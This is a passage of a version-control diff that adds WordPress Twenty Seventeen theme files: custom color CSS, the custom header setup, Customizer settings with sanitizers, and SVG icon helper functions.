+.colors-custom input[type="range"],
+.colors-custom input[type="date"],
+.colors-custom input[type="month"],
+.colors-custom input[type="week"],
+.colors-custom input[type="time"],
+.colors-custom input[type="datetime"],
+.colors-custom input[type="datetime-local"],
+.colors-custom input[type="color"],
+.colors-custom textarea,
+.colors-custom .site-description,
+.colors-custom .entry-content blockquote.alignleft,
+.colors-custom .entry-content blockquote.alignright,
+.colors-custom .colors-custom .taxonomy-description,
+.colors-custom .site-info a,
+.colors-custom .wp-caption,
+.colors-custom .gallery-caption {
+	color: hsl( ' . $hue . ', ' . $saturation . ', 40% ); /* base: #666; */
+}
+
+.colors-custom abbr,
+.colors-custom acronym {
+	border-bottom-color: hsl( ' . $hue . ', ' . $saturation . ', 40% ); /* base: #666; */
+}
+
+.colors-custom h5,
+.colors-custom .entry-meta,
+.colors-custom .entry-meta a,
+.colors-custom.blog .entry-meta a.post-edit-link,
+.colors-custom.archive .entry-meta a.post-edit-link,
+.colors-custom.search .entry-meta a.post-edit-link,
+.colors-custom .nav-subtitle,
+.colors-custom .comment-metadata,
+.colors-custom .comment-metadata a,
+.colors-custom .no-comments,
+.colors-custom .comment-awaiting-moderation,
+.colors-custom .page-numbers.current,
+.colors-custom .page-links .page-number,
+.colors-custom .navigation-top .current-menu-item > a,
+.colors-custom .navigation-top .current_page_item > a,
+.colors-custom .main-navigation a:hover,
+.colors-custom .site-content .wp-playlist-light .wp-playlist-current-item .wp-playlist-item-artist {
+	color: hsl( ' . $hue . ', ' . $saturation . ', 46% ); /* base: #767676; */
+}
+
+.colors-custom button:hover,
+.colors-custom button:focus,
+.colors-custom input[type="button"]:hover,
+.colors-custom input[type="button"]:focus,
+.colors-custom input[type="submit"]:hover,
+.colors-custom input[type="submit"]:focus,
+.colors-custom .entry-footer .edit-link a.post-edit-link:hover,
+.colors-custom .entry-footer .edit-link a.post-edit-link:focus,
+.colors-custom .social-navigation a,
+.colors-custom .prev.page-numbers:focus,
+.colors-custom .prev.page-numbers:hover,
+.colors-custom .next.page-numbers:focus,
+.colors-custom .next.page-numbers:hover,
+.colors-custom .site-content .wp-playlist-light .wp-playlist-item:hover,
+.colors-custom .site-content .wp-playlist-light .wp-playlist-item:focus {
+	background: hsl( ' . esc_attr( $hue ) . ', ' . esc_attr( $saturation ) . ', 46% ); /* base: #767676; */
+}
+
+.colors-custom button.secondary:hover,
+.colors-custom button.secondary:focus,
+.colors-custom input[type="reset"]:hover,
+.colors-custom input[type="reset"]:focus,
+.colors-custom input[type="button"].secondary:hover,
+.colors-custom input[type="button"].secondary:focus,
+.colors-custom input[type="reset"].secondary:hover,
+.colors-custom input[type="reset"].secondary:focus,
+.colors-custom input[type="submit"].secondary:hover,
+.colors-custom input[type="submit"].secondary:focus,
+.colors-custom hr {
+	background: hsl( ' . $hue . ', ' . $saturation . ', 73% ); /* base: #bbb; */
+}
+
+.colors-custom input[type="text"],
+.colors-custom input[type="email"],
+.colors-custom input[type="url"],
+.colors-custom input[type="password"],
+.colors-custom input[type="search"],
+.colors-custom input[type="number"],
+.colors-custom input[type="tel"],
+.colors-custom input[type="range"],
+.colors-custom input[type="date"],
+.colors-custom input[type="month"],
+.colors-custom input[type="week"],
+.colors-custom input[type="time"],
+.colors-custom input[type="datetime"],
+.colors-custom input[type="datetime-local"],
+.colors-custom input[type="color"],
+.colors-custom textarea,
+.colors-custom select,
+.colors-custom fieldset,
+.colors-custom .widget .tagcloud a:hover,
+.colors-custom .widget .tagcloud a:focus,
+.colors-custom .widget.widget_tag_cloud a:hover,
+.colors-custom .widget.widget_tag_cloud a:focus,
+.colors-custom .wp_widget_tag_cloud a:hover,
+.colors-custom .wp_widget_tag_cloud a:focus {
+	border-color: hsl( ' . $hue . ', ' . $saturation . ', 73% ); /* base: #bbb; */
+}
+
+.colors-custom thead th {
+	border-bottom-color: hsl( ' . $hue . ', ' . $saturation . ', 73% ); /* base: #bbb; */
+}
+
+.colors-custom .entry-footer .cat-links .icon,
+.colors-custom .entry-footer .tags-links .icon {
+	color: hsl( ' . $hue . ', ' . $saturation . ', 73% ); /* base: #bbb; */
+}
+
+.colors-custom button.secondary,
+.colors-custom input[type="reset"],
+.colors-custom input[type="button"].secondary,
+.colors-custom input[type="reset"].secondary,
+.colors-custom input[type="submit"].secondary,
+.colors-custom .prev.page-numbers,
+.colors-custom .next.page-numbers {
+	background-color: hsl( ' . $hue . ', ' . $saturation . ', 87% ); /* base: #ddd; */
+}
+
+.colors-custom .widget .tagcloud a,
+.colors-custom .widget.widget_tag_cloud a,
+.colors-custom .wp_widget_tag_cloud a {
+	border-color: hsl( ' . $hue . ', ' . $saturation . ', 87% ); /* base: #ddd; */
+}
+
+.colors-custom.twentyseventeen-front-page article:not(.has-post-thumbnail):not(:first-child),
+.colors-custom .widget ul li {
+	border-top-color: hsl( ' . $hue . ', ' . $saturation . ', 87% ); /* base: #ddd; */
+}
+
+.colors-custom .widget ul li {
+	border-bottom-color: hsl( ' . $hue . ', ' . $saturation . ', 87% ); /* base: #ddd; */
+}
+
+.colors-custom pre,
+.colors-custom mark,
+.colors-custom ins {
+	background: hsl( ' . $hue . ', ' . $saturation . ', 93% ); /* base: #eee; */
+}
+
+.colors-custom .navigation-top,
+.colors-custom .main-navigation > div > ul,
+.colors-custom .pagination,
+.colors-custom .comments-pagination,
+.colors-custom .entry-footer,
+.colors-custom .site-footer {
+	border-top-color: hsl( ' . $hue . ', ' . $saturation . ', 93% ); /* base: #eee; */
+}
+
+.colors-custom .navigation-top,
+.colors-custom .main-navigation li,
+.colors-custom .entry-footer,
+.colors-custom .single-featured-image-header,
+.colors-custom .site-content .wp-playlist-light .wp-playlist-item,
+.colors-custom tr {
+	border-bottom-color: hsl( ' . $hue . ', ' . $saturation . ', 93% ); /* base: #eee; */
+}
+
+.colors-custom .site-content .wp-playlist-light {
+	border-color: hsl( ' . $hue . ', ' . $saturation . ', 93% ); /* base: #eee; */
+}
+
+.colors-custom .site-header,
+.colors-custom .single-featured-image-header {
+	background-color: hsl( ' . $hue . ', ' . $saturation . ', 98% ); /* base: #fafafa; */
+}
+
+.colors-custom button,
+.colors-custom input[type="button"],
+.colors-custom input[type="submit"],
+.colors-custom .entry-footer .edit-link a.post-edit-link,
+.colors-custom .social-navigation a,
+.colors-custom .site-content .wp-playlist-light a.wp-playlist-caption:hover,
+.colors-custom .site-content .wp-playlist-light .wp-playlist-item:hover a,
+.colors-custom .site-content .wp-playlist-light .wp-playlist-item:focus a,
+.colors-custom .site-content .wp-playlist-light .wp-playlist-item:hover,
+.colors-custom .site-content .wp-playlist-light .wp-playlist-item:focus,
+.colors-custom .prev.page-numbers:focus,
+.colors-custom .prev.page-numbers:hover,
+.colors-custom .next.page-numbers:focus,
+.colors-custom .next.page-numbers:hover,
+.colors-custom.has-header-image .site-title,
+.colors-custom.has-header-video .site-title,
+.colors-custom.has-header-image .site-title a,
+.colors-custom.has-header-video .site-title a,
+.colors-custom.has-header-image .site-description,
+.colors-custom.has-header-video .site-description {
+	color: hsl( ' . $hue . ', ' . $saturation . ', 100% ); /* base: #fff; */
+}
+
+body.colors-custom,
+.colors-custom .navigation-top,
+.colors-custom .main-navigation ul {
+	background: hsl( ' . $hue . ', ' . $saturation . ', 100% ); /* base: #fff; */
+}
+
+.colors-custom .widget ul li a,
+.colors-custom .site-footer .widget-area ul li a {
+	-webkit-box-shadow: inset 0 -1px 0 hsl( ' . $hue . ', ' . $saturation . ', 100% ); /* base: rgba(255, 255, 255, 1); */
+	box-shadow: inset 0 -1px 0 hsl( ' . $hue . ', ' . $saturation . ', 100% );  /* base: rgba(255, 255, 255, 1); */
+}
+
+.colors-custom .menu-toggle,
+.colors-custom .menu-toggle:hover,
+.colors-custom .menu-toggle:focus,
+.colors-custom .menu .dropdown-toggle,
+.colors-custom .menu-scroll-down,
+.colors-custom .menu-scroll-down:hover,
+.colors-custom .menu-scroll-down:focus {
+	background-color: transparent;
+}
+
+.colors-custom .widget .tagcloud a,
+.colors-custom .widget .tagcloud a:focus,
+.colors-custom .widget .tagcloud a:hover,
+.colors-custom .widget.widget_tag_cloud a,
+.colors-custom .widget.widget_tag_cloud a:focus,
+.colors-custom .widget.widget_tag_cloud a:hover,
+.colors-custom .wp_widget_tag_cloud a,
+.colors-custom .wp_widget_tag_cloud a:focus,
+.colors-custom .wp_widget_tag_cloud a:hover,
+.colors-custom .entry-footer .edit-link a.post-edit-link:focus,
+.colors-custom .entry-footer .edit-link a.post-edit-link:hover {
+	-webkit-box-shadow: none !important;
+	box-shadow: none !important;
+}
+
+/* Reset non-customizable hover styling for links */
+.colors-custom .entry-content a:hover,
+.colors-custom .entry-content a:focus,
+.colors-custom .entry-summary a:hover,
+.colors-custom .entry-summary a:focus,
+.colors-custom .comment-content a:focus,
+.colors-custom .comment-content a:hover,
+.colors-custom .widget a:hover,
+.colors-custom .widget a:focus,
+.colors-custom .site-footer .widget-area a:hover,
+.colors-custom .site-footer .widget-area a:focus,
+.colors-custom .posts-navigation a:hover,
+.colors-custom .posts-navigation a:focus,
+.colors-custom .widget_authors a:hover strong,
+.colors-custom .widget_authors a:focus strong {
+	-webkit-box-shadow: inset 0 0 0 rgba(0, 0, 0, 0), 0 3px 0 rgba(0, 0, 0, 1);
+	box-shadow: inset 0 0 0 rgba(0, 0, 0, 0), 0 3px 0 rgba(0, 0, 0, 1);
+}
+
+.colors-custom .gallery-item a,
+.colors-custom .gallery-item a:hover,
+.colors-custom .gallery-item a:focus {
+	-webkit-box-shadow: none;
+	box-shadow: none;
+}
+
+@media screen and (min-width: 48em) {
+
+	.colors-custom .nav-links .nav-previous .nav-title .icon,
+	.colors-custom .nav-links .nav-next .nav-title .icon {
+		color: hsl( ' . $hue . ', ' . $saturation . ', 20% ); /* base: #222; */
+	}
+
+	.colors-custom .main-navigation li li:hover,
+	.colors-custom .main-navigation li li.focus {
+		background: hsl( ' . $hue . ', ' . $saturation . ', 46% ); /* base: #767676; */
+	}
+
+	.colors-custom .navigation-top .menu-scroll-down {
+		color: hsl( ' . $hue . ', ' . $saturation . ', 46% ); /* base: #767676; */;
+	}
+
+	.colors-custom abbr[title] {
+		border-bottom-color: hsl( ' . $hue . ', ' . $saturation . ', 46% ); /* base: #767676; */;
+	}
+
+	.colors-custom .main-navigation ul ul {
+		border-color: hsl( ' . $hue . ', ' . $saturation . ', 73% ); /* base: #bbb; */
+		background: hsl( ' . $hue . ', ' . $saturation . ', 100% ); /* base: #fff; */
+	}
+
+	.colors-custom .main-navigation ul li.menu-item-has-children:before,
+	.colors-custom .main-navigation ul li.page_item_has_children:before {
+		border-bottom-color: hsl( ' . $hue . ', ' . $saturation . ', 73% ); /* base: #bbb; */
+	}
+
+	.colors-custom .main-navigation ul li.menu-item-has-children:after,
+	.colors-custom .main-navigation ul li.page_item_has_children:after {
+		border-bottom-color: hsl( ' . $hue . ', ' . $saturation . ', 100% ); /* base: #fff; */
+	}
+
+	.colors-custom .main-navigation li li.focus > a,
+	.colors-custom .main-navigation li li:focus > a,
+	.colors-custom .main-navigation li li:hover > a,
+	.colors-custom .main-navigation li li a:hover,
+	.colors-custom .main-navigation li li a:focus,
+	.colors-custom .main-navigation li li.current_page_item a:hover,
+	.colors-custom .main-navigation li li.current-menu-item a:hover,
+	.colors-custom .main-navigation li li.current_page_item a:focus,
+	.colors-custom .main-navigation li li.current-menu-item a:focus {
+		color: hsl( ' . $hue . ', ' . $saturation . ', 100% ); /* base: #fff; */
+	}
+}';
+
+	/**
+	 * Filters Twenty Seventeen custom colors CSS.
+	 *
+	 * @since Twenty Seventeen 1.0
+	 *
+	 * @param string $css        Base theme colors CSS.
+	 * @param int    $hue        The user's selected color hue.
+	 * @param string $saturation Filtered theme color saturation level.
+	 */
+	return apply_filters( 'twentyseventeen_custom_colors_css', $css, $hue, $saturation );
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/inc/custom-header.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/inc/custom-header.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/inc/custom-header.php	(revision 56912)
@@ -0,0 +1,123 @@
+<?php
+/**
+ * Custom header implementation
+ *
+ * @link https://codex.wordpress.org/Custom_Headers
+ *
+ * @package WordPress
+ * @subpackage Twenty_Seventeen
+ * @since 1.0
+ */
+
+/**
+ * Set up the WordPress core custom header feature.
+ *
+ * @uses twentyseventeen_header_style()
+ */
+function twentyseventeen_custom_header_setup() {
+
+	/**
+	 * Filter Twenty Seventeen custom-header support arguments.
+	 *
+	 * @since Twenty Seventeen 1.0
+	 *
+	 * @param array $args {
+	 *     An array of custom-header support arguments.
+	 *
+	 *     @type string $default-image     		Default image of the header.
+	 *     @type string $default_text_color     Default color of the header text.
+	 *     @type int    $width                  Width in pixels of the custom header image. Default 954.
+	 *     @type int    $height                 Height in pixels of the custom header image. Default 1300.
+	 *     @type string $wp-head-callback       Callback function used to styles the header image and text
+	 *                                          displayed on the blog.
+	 *     @type string $flex-height     		Flex support for height of header.
+	 * }
+	 */
+	add_theme_support( 'custom-header', apply_filters( 'twentyseventeen_custom_header_args', array(
+		'default-image'      => get_parent_theme_file_uri( '/assets/images/header.jpg' ),
+		'width'              => 2000,
+		'height'             => 1200,
+		'flex-height'        => true,
+		'video'              => true,
+		'wp-head-callback'   => 'twentyseventeen_header_style',
+	) ) );
+
+	register_default_headers( array(
+		'default-image' => array(
+			'url'           => '%s/assets/images/header.jpg',
+			'thumbnail_url' => '%s/assets/images/header.jpg',
+			'description'   => __( 'Default Header Image', 'twentyseventeen' ),
+		),
+	) );
+}
+add_action( 'after_setup_theme', 'twentyseventeen_custom_header_setup' );
+
+if ( ! function_exists( 'twentyseventeen_header_style' ) ) :
+/**
+ * Styles the header image and text displayed on the blog.
+ *
+ * @see twentyseventeen_custom_header_setup().
+ */
+function twentyseventeen_header_style() {
+	$header_text_color = get_header_textcolor();
+
+	// If no custom options for text are set, let's bail.
+	// get_header_textcolor() options: add_theme_support( 'custom-header' ) is default, hide text (returns 'blank') or any hex value.
+	if ( get_theme_support( 'custom-header', 'default-text-color' ) === $header_text_color ) {
+		return;
+	}
+
+	// If we get this far, we have custom styles. Let's do this.
+	?>
+	<style id="twentyseventeen-custom-header-styles" type="text/css">
+	<?php
+		// Has the text been hidden?
+		if ( 'blank' === $header_text_color ) :
+	?>
+		.site-title,
+		.site-description {
+			position: absolute;
+			clip: rect(1px, 1px, 1px, 1px);
+		}
+	<?php
+		// If the user has set a custom color for the text use that.
+		else :
+	?>
+		.site-title a,
+		.colors-dark .site-title a,
+		.colors-custom .site-title a,
+		body.has-header-image .site-title a,
+		body.has-header-video .site-title a,
+		body.has-header-image.colors-dark .site-title a,
+		body.has-header-video.colors-dark .site-title a,
+		body.has-header-image.colors-custom .site-title a,
+		body.has-header-video.colors-custom .site-title a,
+		.site-description,
+		.colors-dark .site-description,
+		.colors-custom .site-description,
+		body.has-header-image .site-description,
+		body.has-header-video .site-description,
+		body.has-header-image.colors-dark .site-description,
+		body.has-header-video.colors-dark .site-description,
+		body.has-header-image.colors-custom .site-description,
+		body.has-header-video.colors-custom .site-description {
+			color: #<?php echo esc_attr( $header_text_color ); ?>;
+		}
+	<?php endif; ?>
+	</style>
+	<?php
+}
+endif; // End of twentyseventeen_header_style.
+
+/**
+ * Customize video play/pause button in the custom header.
+ *
+ * @param array $settings Video settings.
+ * @return array The filtered video settings.
+ */
+function twentyseventeen_video_controls( $settings ) {
+	$settings['l10n']['play'] = '<span class="screen-reader-text">' . __( 'Play background video', 'twentyseventeen' ) . '</span>' . twentyseventeen_get_svg( array( 'icon' => 'play' ) );
+	$settings['l10n']['pause'] = '<span class="screen-reader-text">' . __( 'Pause background video', 'twentyseventeen' ) . '</span>' . twentyseventeen_get_svg( array( 'icon' => 'pause' ) );
+	return $settings;
+}
+add_filter( 'header_video_settings', 'twentyseventeen_video_controls' );
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/inc/customizer.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/inc/customizer.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/inc/customizer.php	(revision 56912)
@@ -0,0 +1,210 @@
+<?php
+/**
+ * Twenty Seventeen: Customizer
+ *
+ * @package WordPress
+ * @subpackage Twenty_Seventeen
+ * @since 1.0
+ */
+
+/**
+ * Add postMessage support for site title and description for the Theme Customizer.
+ *
+ * @param WP_Customize_Manager $wp_customize Theme Customizer object.
+ */
+function twentyseventeen_customize_register( $wp_customize ) {
+	$wp_customize->get_setting( 'blogname' )->transport          = 'postMessage';
+	$wp_customize->get_setting( 'blogdescription' )->transport   = 'postMessage';
+	$wp_customize->get_setting( 'header_textcolor' )->transport  = 'postMessage';
+
+	$wp_customize->selective_refresh->add_partial( 'blogname', array(
+		'selector' => '.site-title a',
+		'render_callback' => 'twentyseventeen_customize_partial_blogname',
+	) );
+	$wp_customize->selective_refresh->add_partial( 'blogdescription', array(
+		'selector' => '.site-description',
+		'render_callback' => 'twentyseventeen_customize_partial_blogdescription',
+	) );
+
+	/**
+	 * Custom colors.
+	 */
+	$wp_customize->add_setting( 'colorscheme', array(
+		'default'           => 'light',
+		'transport'         => 'postMessage',
+		'sanitize_callback' => 'twentyseventeen_sanitize_colorscheme',
+	) );
+
+	$wp_customize->add_setting( 'colorscheme_hue', array(
+		'default'           => 250,
+		'transport'         => 'postMessage',
+		'sanitize_callback' => 'absint', // The hue is stored as a positive integer.
+	) );
+
+	$wp_customize->add_control( 'colorscheme', array(
+		'type'    => 'radio',
+		'label'    => __( 'Color Scheme', 'twentyseventeen' ),
+		'choices'  => array(
+			'light'  => __( 'Light', 'twentyseventeen' ),
+			'dark'   => __( 'Dark', 'twentyseventeen' ),
+			'custom' => __( 'Custom', 'twentyseventeen' ),
+		),
+		'section'  => 'colors',
+		'priority' => 5,
+	) );
+
+	$wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'colorscheme_hue', array(
+		'mode' => 'hue',
+		'section'  => 'colors',
+		'priority' => 6,
+	) ) );
+
+	/**
+	 * Theme options.
+	 */
+	$wp_customize->add_section( 'theme_options', array(
+		'title'    => __( 'Theme Options', 'twentyseventeen' ),
+		'priority' => 130, // Before Additional CSS.
+	) );
+
+	$wp_customize->add_setting( 'page_layout', array(
+		'default'           => 'two-column',
+		'sanitize_callback' => 'twentyseventeen_sanitize_page_layout',
+		'transport'         => 'postMessage',
+	) );
+
+	$wp_customize->add_control( 'page_layout', array(
+		'label'       => __( 'Page Layout', 'twentyseventeen' ),
+		'section'     => 'theme_options',
+		'type'        => 'radio',
+		'description' => __( 'When the two-column layout is assigned, the page title is in one column and content is in the other.', 'twentyseventeen' ),
+		'choices'     => array(
+			'one-column' => __( 'One Column', 'twentyseventeen' ),
+			'two-column' => __( 'Two Column', 'twentyseventeen' ),
+		),
+		'active_callback' => 'twentyseventeen_is_view_with_layout_option',
+	) );
+
+	/**
+	 * Filter number of front page sections in Twenty Seventeen.
+	 *
+	 * @since Twenty Seventeen 1.0
+	 *
+	 * @param int $num_sections Number of front page sections.
+	 */
+	$num_sections = apply_filters( 'twentyseventeen_front_page_sections', 4 );
+
+	// Create a setting and control for each of the sections available in the theme.
+	for ( $i = 1; $i < ( 1 + $num_sections ); $i++ ) {
+		$wp_customize->add_setting( 'panel_' . $i, array(
+			'default'           => false,
+			'sanitize_callback' => 'absint',
+			'transport'         => 'postMessage',
+		) );
+
+		$wp_customize->add_control( 'panel_' . $i, array(
+			/* translators: %d is the front page section number */
+			'label'          => sprintf( __( 'Front Page Section %d Content', 'twentyseventeen' ), $i ),
+			'description'    => ( 1 !== $i ? '' : __( 'Select pages to feature in each area from the dropdowns. Add an image to a section by setting a featured image in the page editor. Empty sections will not be displayed.', 'twentyseventeen' ) ),
+			'section'        => 'theme_options',
+			'type'           => 'dropdown-pages',
+			'allow_addition' => true,
+			'active_callback' => 'twentyseventeen_is_static_front_page',
+		) );
+
+		$wp_customize->selective_refresh->add_partial( 'panel_' . $i, array(
+			'selector'            => '#panel' . $i,
+			'render_callback'     => 'twentyseventeen_front_page_section',
+			'container_inclusive' => true,
+		) );
+	}
+}
+add_action( 'customize_register', 'twentyseventeen_customize_register' );
+
+/**
+ * Sanitize the page layout options.
+ *
+ * @param string $input Page layout.
+ */
+function twentyseventeen_sanitize_page_layout( $input ) {
+	$valid = array(
+		'one-column' => __( 'One Column', 'twentyseventeen' ),
+		'two-column' => __( 'Two Column', 'twentyseventeen' ),
+	);
+
+	if ( array_key_exists( $input, $valid ) ) {
+		return $input;
+	}
+
+	return '';
+}
+
+/**
+ * Sanitize the colorscheme.
+ *
+ * @param string $input Color scheme.
+ */
+function twentyseventeen_sanitize_colorscheme( $input ) {
+	$valid = array( 'light', 'dark', 'custom' );
+
+	if ( in_array( $input, $valid, true ) ) {
+		return $input;
+	}
+
+	return 'light';
+}
+
+/**
+ * Render the site title for the selective refresh partial.
+ *
+ * @since Twenty Seventeen 1.0
+ * @see twentyseventeen_customize_register()
+ *
+ * @return void
+ */
+function twentyseventeen_customize_partial_blogname() {
+	bloginfo( 'name' );
+}
+
+/**
+ * Render the site tagline for the selective refresh partial.
+ *
+ * @since Twenty Seventeen 1.0
+ * @see twentyseventeen_customize_register()
+ *
+ * @return void
+ */
+function twentyseventeen_customize_partial_blogdescription() {
+	bloginfo( 'description' );
+}
+
+/**
+ * Return whether we're previewing the front page and it's a static page.
+ */
+function twentyseventeen_is_static_front_page() {
+	return ( is_front_page() && ! is_home() );
+}
+
+/**
+ * Return whether we're on a view that supports a one or two column layout.
+ */
+function twentyseventeen_is_view_with_layout_option() {
+	// This option is available on all pages. It's also available on archives when there isn't a sidebar.
+	return ( is_page() || ( is_archive() && ! is_active_sidebar( 'sidebar-1' ) ) );
+}
+
+/**
+ * Bind JS handlers to instantly live-preview changes.
+ */
+function twentyseventeen_customize_preview_js() {
+	wp_enqueue_script( 'twentyseventeen-customize-preview', get_theme_file_uri( '/assets/js/customize-preview.js' ), array( 'customize-preview' ), '1.0', true );
+}
+add_action( 'customize_preview_init', 'twentyseventeen_customize_preview_js' );
+
+/**
+ * Load dynamic logic for the customizer controls area.
+ */
+function twentyseventeen_panels_js() {
+	wp_enqueue_script( 'twentyseventeen-customize-controls', get_theme_file_uri( '/assets/js/customize-controls.js' ), array(), '1.0', true );
+}
+add_action( 'customize_controls_enqueue_scripts', 'twentyseventeen_panels_js' );
Index: /tags/5.0.20/src/wp-content/themes/twentyseventeen/inc/icon-functions.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyseventeen/inc/icon-functions.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyseventeen/inc/icon-functions.php	(revision 56912)
@@ -0,0 +1,220 @@
+<?php
+/**
+ * SVG icons related functions and filters
+ *
+ * @package WordPress
+ * @subpackage Twenty_Seventeen
+ * @since 1.0
+ */
+
+/**
+ * Add SVG definitions to the footer.
+ */
+function twentyseventeen_include_svg_icons() {
+	// Define SVG sprite file.
+	$svg_icons = get_parent_theme_file_path( '/assets/images/svg-icons.svg' );
+
+	// If it exists, include it.
+	if ( file_exists( $svg_icons ) ) {
+		require_once( $svg_icons );
+	}
+}
+add_action( 'wp_footer', 'twentyseventeen_include_svg_icons', 9999 );
+
+/**
+ * Return SVG markup.
+ *
+ * @param array $args {
+ *     Parameters needed to display an SVG.
+ *
+ *     @type string $icon  Required SVG icon filename.
+ *     @type string $title Optional SVG title.
+ *     @type string $desc  Optional SVG description.
+ * }
+ * @return string SVG markup.
+ */
+function twentyseventeen_get_svg( $args = array() ) {
+	// Make sure $args are an array.
+	if ( empty( $args ) ) {
+		return __( 'Please define default parameters in the form of an array.', 'twentyseventeen' );
+	}
+
+	// Define an icon.
+	if ( false === array_key_exists( 'icon', $args ) ) {
+		return __( 'Please define an SVG icon filename.', 'twentyseventeen' );
+	}
+
+	// Set defaults.
+	$defaults = array(
+		'icon'        => '',
+		'title'       => '',
+		'desc'        => '',
+		'fallback'    => false,
+	);
+
+	// Parse args.
+	$args = wp_parse_args( $args, $defaults );
+
+	// Set aria hidden.
+	$aria_hidden = ' aria-hidden="true"';
+
+	// Set ARIA.
+	$aria_labelledby = '';
+
+	/*
+	 * Twenty Seventeen doesn't use the SVG title or description attributes; non-decorative icons are described with .screen-reader-text.
+	 *
+	 * However, child themes can use the title and description to add information to non-decorative SVG icons to improve accessibility.
+	 *
+	 * Example 1 with title: <?php echo twentyseventeen_get_svg( array( 'icon' => 'arrow-right', 'title' => __( 'This is the title', 'textdomain' ) ) ); ?>
+	 *
+	 * Example 2 with title and description: <?php echo twentyseventeen_get_svg( array( 'icon' => 'arrow-right', 'title' => __( 'This is the title', 'textdomain' ), 'desc' => __( 'This is the description', 'textdomain' ) ) ); ?>
+	 *
+	 * See https://www.paciellogroup.com/blog/2013/12/using-aria-enhance-svg-accessibility/.
+	 */
+	if ( $args['title'] ) {
+		$aria_hidden     = '';
+		$unique_id       = twentyseventeen_unique_id();
+		$aria_labelledby = ' aria-labelledby="title-' . $unique_id . '"';
+
+		if ( $args['desc'] ) {
+			$aria_labelledby = ' aria-labelledby="title-' . $unique_id . ' desc-' . $unique_id . '"';
+		}
+	}
+
+	// Begin SVG markup.
+	$svg = '<svg class="icon icon-' . esc_attr( $args['icon'] ) . '"' . $aria_hidden . $aria_labelledby . ' role="img">';
+
+	// Display the title.
+	if ( $args['title'] ) {
+		$svg .= '<title id="title-' . $unique_id . '">' . esc_html( $args['title'] ) . '</title>';
+
+		// Display the desc only if the title is already set.
+		if ( $args['desc'] ) {
+			$svg .= '<desc id="desc-' . $unique_id . '">' . esc_html( $args['desc'] ) . '</desc>';
+		}
+	}
+
+	/*
+	 * Display the icon.
+	 *
+	 * The whitespace around `<use>` is intentional - it is a work around to a keyboard navigation bug in Safari 10.
+	 *
+	 * See https://core.trac.wordpress.org/ticket/38387.
+	 */
+	$svg .= ' <use href="#icon-' . esc_html( $args['icon'] ) . '" xlink:href="#icon-' . esc_html( $args['icon'] ) . '"></use> ';
+
+	// Add some markup to use as a fallback for browsers that do not support SVGs.
+	if ( $args['fallback'] ) {
+		$svg .= '<span class="svg-fallback icon-' . esc_attr( $args['icon'] ) . '"></span>';
+	}
+
+	$svg .= '</svg>';
+
+	return $svg;
+}
+
+/**
+ * Display SVG icons in social links menu.
+ *
+ * @param  string  $item_output The menu item output.
+ * @param  WP_Post $item        Menu item object.
+ * @param  int     $depth       Depth of the menu.
+ * @param  array   $args        wp_nav_menu() arguments.
+ * @return string  $item_output The menu item output with social icon.
+ */
+function twentyseventeen_nav_menu_social_icons( $item_output, $item, $depth, $args ) {
+	// Get supported social icons.
+	$social_icons = twentyseventeen_social_links_icons();
+
+	// Change SVG icon inside social links menu if there is supported URL.
+	if ( 'social' === $args->theme_location ) {
+		foreach ( $social_icons as $attr => $value ) {
+			if ( false !== strpos( $item_output, $attr ) ) {
+				$item_output = str_replace( $args->link_after, '</span>' . twentyseventeen_get_svg( array( 'icon' => esc_attr( $value ) ) ), $item_output );
+			}
+		}
+	}
+
+	return $item_output;
+}
+add_filter( 'walker_nav_menu_start_el', 'twentyseventeen_nav_menu_social_icons', 10, 4 );
+
+/**
+ * Add dropdown icon if menu item has children.
+ *
+ * @param  string  $title The menu item's title.
+ * @param  WP_Post $item  The current menu item.
+ * @param  array   $args  An array of wp_nav_menu() arguments.
+ * @param  int     $depth Depth of menu item. Used for padding.
+ * @return string  $title The menu item's title with dropdown icon.
+ */
+function twentyseventeen_dropdown_icon_to_menu_link( $title, $item, $args, $depth ) {
+	if ( 'top' === $args->theme_location ) {
+		foreach ( $item->classes as $value ) {
+			if ( 'menu-item-has-children' === $value || 'page_item_has_children' === $value ) {
+				$title = $title . twentyseventeen_get_svg( array( 'icon' => 'angle-down' ) );
+			}
+		}
+	}
+
+	return $title;
+}
+add_filter( 'nav_menu_item_title', 'twentyseventeen_dropdown_icon_to_menu_link', 10, 4 );
+
+/**
+ * Returns an array of supported social links (URL and icon name).
+ *
+ * @return array $social_links_icons
+ */
+function twentyseventeen_social_links_icons() {
+	// Supported social links icons.
+	$social_links_icons = array(
+		'behance.net'     => 'behance',
+		'codepen.io'      => 'codepen',
+		'deviantart.com'  => 'deviantart',
+		'digg.com'        => 'digg',
+		'docker.com'      => 'dockerhub',
+		'dribbble.com'    => 'dribbble',
+		'dropbox.com'     => 'dropbox',
+		'facebook.com'    => 'facebook',
+		'flickr.com'      => 'flickr',
+		'foursquare.com'  => 'foursquare',
+		'plus.google.com' => 'google-plus',
+		'github.com'      => 'github',
+		'instagram.com'   => 'instagram',
+		'linkedin.com'    => 'linkedin',
+		'mailto:'         => 'envelope-o',
+		'medium.com'      => 'medium',
+		'pinterest.com'   => 'pinterest-p',
+		'pscp.tv'         => 'periscope',
+		'getpocket.com'   => 'get-pocket',
+		'reddit.com'      => 'reddit-alien',
+		'skype.com'       => 'skype',
+		'skype:'          => 'skype',
+		'slideshare.net'  => 'slideshare',
+		'snapchat.com'    => 'snapchat-ghost',
+		'soundcloud.com'  => 'soundcloud',
+		'spotify.com'     => 'spotify',
+		'stumbleupon.com' => 'stumbleupon',
+		'tumblr.com'      => 'tumblr',
+		'twitch.tv'       => 'twitch',
+		'twitter.com'     => 'twitter',
+		'vimeo.com'       => 'vimeo',
+		'vine.co'         => 'vine',
+		'vk.com'          => 'vk',
+		'wordpress.org'   => 'wordpress',
+		'wordpress.com'   => 'wordpress',
+		'yelp.com'        => 'yelp',
+		'youtube.com'     => 'youtube',
+	);
+
+	/**
+	 * Filter Twenty Seventeen social links icons.
+	 *
+	 * @since Twenty Seventeen 1.0
+	 *
+	 * @param array $social_links_icons Array of social links icons.
+	 */
